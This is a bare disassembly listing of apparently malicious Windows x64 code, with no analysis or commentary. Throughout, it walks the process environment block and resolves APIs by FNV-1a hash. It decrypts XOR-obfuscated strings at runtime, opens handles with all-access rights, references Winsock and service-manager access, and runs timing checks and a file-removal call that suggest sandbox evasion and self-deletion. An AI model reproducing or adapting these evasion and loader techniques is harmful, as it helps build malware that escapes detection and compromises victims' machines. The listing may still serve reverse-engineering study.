cmp r12d, 2
jl 0x14000a900
movdqa xmmword [rbp - 0x60], xmm13
lea rdx, [rsp + 0x5c]
mov r8d, dword [rbp - 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm9
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x14000a810
cmp ecx, 0x1e
jge 0x14000a93f
movsxd rax, ecx
lea r8, [rsp + 0x58]
add r8, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x32
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0x1e
jl 0x14000a910
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x58]
call fcn.140001ef0
mov r10, qword [0x140278cb0]
test r10, r10
jne 0x14000aa17
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000a9f8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000a9f8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000a9f3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000a9d0
cmp edx, 0x491e0a9c
je 0x14000aaa0
test r8d, r8d
jne 0x14000a9b0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000aa0d
cmp qword [rax + 0x30], r13
jne 0x14000a980
xor r10d, r10d
mov qword [0x140278cb0], r10
cmp byte [0x14007a103], r13b
mov eax, dword [0x14007a100]
mov dword [rsp + 0x30], eax
je 0x14000aafa
xor r8d, r8d
cmp r12d, 2
jl 0x14000aabd
movdqa xmm1, xmm9
movdqa xmm0, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm10
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movd dword [rsp + 0x30], xmm1
jmp 0x14000aafa
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x14000aa10
lea r9, [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14000aad0
lea rcx, [rsp + 0x30]
call r10
mov r10, qword [0x140278ca8]
test r10, r10
jne 0x14000abc7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000aba8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000aba8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000aba3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000ab80
cmp edx, 0xa91ffd16
je 0x14000ae5c
test r8d, r8d
jne 0x14000ab60
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000abbd
cmp qword [rax + 0x30], r13
jne 0x14000ab30
xor r10d, r10d
mov qword [0x140278ca8], r10
cmp byte [0x14007a125], r13b
movsd xmm0, qword [str.u__WW_dmvQXS_]
movzx eax, word [0x14007a124]
mov ecx, dword [0x14007a120]
movsd qword [rbp - 0x78], xmm0
mov word [rbp - 0x6c], ax
mov dword [rbp - 0x70], ecx
je 0x14000ad73
xor r8d, r8d
cmp r12d, 2
jl 0x14000ad33
movd eax, xmm13
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
movdqa xmm2, xmm6
pmuldq xmm0, xmm10
mov r8d, recvfrom
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.u__WW_dmvQXS_]
xorps xmm1, xmm0
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm10
movd dword [rbp - 0x78], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x74]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
xorps xmm2, xmm1
movdqa xmm1, xmm7
pmuldq xmm0, xmm10
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
movd dword [rbp - 0x74], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm12
psubd xmm7, xmm0
movd xmm0, eax
andps xmm7, xmm11
packuswb xmm7, xmm7
packuswb xmm7, xmm7
paddb xmm7, xmm0
xorps xmm7, xmm1
movd dword [rbp - 0x70], xmm7
mov eax, r8d
lea r9, [rbp - 0x78]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x32
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xe
jl 0x14000ad40
lea r8, [rbp - 0x78]
xor edx, edx
mov ecx, 0xf001f
call r10
mov r14, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14000aea1
mov rdx, qword [0x140278d78]
test rdx, rdx
jne 0x14000ae52
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000ae34
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000ae34
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000ae2f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000ae10
cmp edx, 0xfaba0065
je 0x14000ae79
test r8d, r8d
jne 0x14000adf0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000ae49
cmp qword [rax + 0x30], r13
jne 0x14000adc0
xor edx, edx
mov qword [0x140278d78], rdx
mov rcx, r14
call rdx
jmp 0x14000b2fb
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x14000abc0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov edx, dword [rcx + rdx*4]
mov rcx, r14
add rdx, r9
mov qword [0x140278d78], rdx
call rdx
jmp 0x14000b2fb
cmp byte [reloc.WS2_32.dll_gethostname], r13b
mov rax, qword [str.VDYeSO_9UAWb_YVM_]
mov qword [rsp + 0x50], rax
je 0x14000afca
xor r8d, r8d
cmp r12d, 2
jl 0x14000af95
movd eax, xmm13
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
movdqa xmm2, xmm9
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x50]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
xorps xmm2, xmm1
movdqa xmm1, xmm6
pmuldq xmm0, xmm10
punpckldq xmm1, xmm6
pmuldq xmm1, xmm10
movd dword [rsp + 0x50], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x54]
pmulld xmm0, xmm12
psubd xmm6, xmm0
movd xmm0, eax
andps xmm6, xmm11
packuswb xmm6, xmm6
packuswb xmm6, xmm6
paddb xmm6, xmm0
xorps xmm6, xmm1
movd dword [rsp + 0x54], xmm6
jmp 0x14000afca
lea r9, [rsp + 0x50]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14000afa0
lea rcx, [rsp + 0x50]
call fcn.1400047c0
mov r10, qword [0x140278d70]
mov r14d, eax
test r10, r10
jne 0x14000b097
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b078
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b078
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000b073
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000b050
cmp edx, 0x4105fc56
je 0x14000b1f1
test r8d, r8d
jne 0x14000b030
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b08d
cmp qword [rax + 0x30], r13
jne 0x14000b000
xor r10d, r10d
mov qword [0x140278d70], r10
mov r8d, r14d
xor edx, edx
mov ecx, 0x1fffff
call r10
lea rdx, section..data
mov rcx, rax
mov r14, rax
call fcn.14000c040
test al, al
jne 0x14000b22a
mov rdx, qword [0x140278d78]
test rdx, rdx
jne 0x14000b186
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b168
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b168
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000b163
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000b140
cmp edx, 0xfaba0065
je 0x14000b20e
test r8d, r8d
jne 0x14000b120
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b17d
cmp qword [rax + 0x30], r13
jne 0x14000b0f0
xor edx, edx
mov qword [0x140278d78], rdx
mov rcx, r14
call rdx
lea rcx, [rbp + 0x158]
call fcn.140002da0
xor eax, eax
mov rcx, qword [rbp + 0x178]
xor rcx, rsp
call fcn.140076390
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x14000b090
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov edx, dword [rcx + rdx*4]
add rdx, r9
jmp 0x14000b17f
mov rax, qword [0x140278d78]
test rax, rax
jne 0x14000b2f6
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b2d8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b2d8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000b2d3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000b2b0
cmp edx, 0xfaba0065
je 0x14000be12
test r8d, r8d
jne 0x14000b290
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b2ed
cmp qword [rax + 0x30], r13
jne 0x14000b260
xor eax, eax
mov qword [0x140278d78], rax
mov rcx, r14
call rax
mov rax, qword [0x140278ca0]
test rax, rax
jne 0x14000b3c6
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b3a8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b3a8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000b3a3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000b380
cmp edx, 0x5afdbae0
je 0x14000be2e
test r8d, r8d
jne 0x14000b360
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b3bd
cmp qword [rax + 0x30], r13
jne 0x14000b330
xor eax, eax
mov qword [0x140278ca0], rax
call rax
test r15, r15
je 0x14000b3e1
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, r15
call qword [sym.imp.USER32.dll_PostMessageA]
xor r14d, r14d
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [0x140278cf0]
test rax, rax
jne 0x14000b4b8
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b498
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b498
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000b493
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000b470
cmp edx, 0x18017917
je 0x14000be4a
test r8d, r8d
jne 0x14000b450
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b4ae
cmp qword [rax + 0x30], 0
jne 0x14000b420
mov rax, r14
mov qword [0x140278cf0], rax
call rax
mov r15, rax
nop dword [rax]
mov r8, qword [0x140278c98]
test r8, r8
jne 0x14000b588
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b568
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b568
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000b563
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000b540
cmp edx, 0xf652bc95
je 0x14000be66
test r8d, r8d
jne 0x14000b520
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b57e
cmp qword [rax + 0x30], 0
jne 0x14000b4f0
xor r8d, r8d
mov qword [0x140278c98], r8
cmp byte [0x14007a139], 0
movsd xmm0, qword [0x14007a130]
movzx eax, word [0x14007a138]
movsd qword [rsp + 0x40], xmm0
mov word [rsp + 0x48], ax
je 0x14000b5dd
xor byte [rsp + 0x41], 0x33
xor byte [rsp + 0x42], 0x34
xor byte [rsp + 0x43], 0x35
xor byte [rsp + 0x44], 0x36
xor byte [rsp + 0x45], 0x37
xor byte [rsp + 0x46], 0x38
xor byte [rsp + 0x47], 0x39
xor byte [rsp + 0x48], 0x3a
xor byte [rsp + 0x49], 0x3b
mov byte [rsp + 0x40], 0x67
xor edx, edx
lea rcx, [rsp + 0x40]
call r8
mov rcx, qword [0x140278cf0]
mov r14, rax
test rcx, rcx
jne 0x14000b6b7
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b698
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b698
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000b693
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000b670
cmp edx, 0x18017917
je 0x14000be83
test r8d, r8d
jne 0x14000b650
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b6ae
cmp qword [rax + 0x30], 0
jne 0x14000b620
xor ecx, ecx
mov qword [0x140278cf0], rcx
call rcx
sub rax, r15
cmp rax, 0xea60
jb 0x14000b6c9
call fcn.1400046b0
mov rax, qword [0x140278cd0]
test rax, rax
jne 0x14000b787
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b768
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b768
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000b763
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000b740
cmp edx, 0x2fa62ca8
je 0x14000be9f
test r8d, r8d
jne 0x14000b720
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b77e
cmp qword [rax + 0x30], 0
jne 0x14000b6f0
xor eax, eax
mov qword [0x140278cd0], rax
mov ecx, 1
call rax
test r14, r14
je 0x14000b4c0
mov rax, qword [0x140278c90]
test rax, rax
jne 0x14000b857
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b838
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b838
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000b833
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000b810
cmp edx, 0xf50944d9
je 0x14000bebb
test r8d, r8d
jne 0x14000b7f0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b84e
cmp qword [rax + 0x30], 0
jne 0x14000b7c0
xor eax, eax
mov qword [0x140278c90], rax
lea rdx, [rbp + 0x140]
mov rcx, r14
call rax
mov rax, qword [0x140278cd0]
test rax, rax
jne 0x14000b927
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b908
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b908
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000b903
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000b8e0
cmp edx, 0x2fa62ca8
je 0x14000bed7
test r8d, r8d
jne 0x14000b8c0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b91e
cmp qword [rax + 0x30], 0
jne 0x14000b890
xor eax, eax
mov qword [0x140278cd0], rax
mov ecx, 0x7d0
call rax
movups xmm0, xmmword [str.q_thb_YVMH_nGL4__pv]
mov eax, dword [0x14007a158]
xor r14d, r14d
cmp byte [reloc.WLDAP32.dll_Ordinal_79], r14b
movups xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x70], eax
movsd xmm0, qword [0x14007a150]
movzx eax, word [0x14007a15c]
movsd qword [rsp + 0x68], xmm0
mov word [rsp + 0x74], ax
je 0x14000bac3
mov r8d, r14d
cmp r12d, 2
jl 0x14000ba83
movdqa xmmword [rbp - 0x60], xmm13
lea rcx, [rsp + 0x5c]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14000b990
cmp r8d, 0x1e
jge 0x14000bac3
movsxd rax, r8d
lea r9, [rsp + 0x58]
add r9, rax
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x32
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x1e
jl 0x14000ba90
lea rcx, [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
mov qword [rbp - 0x40], r14
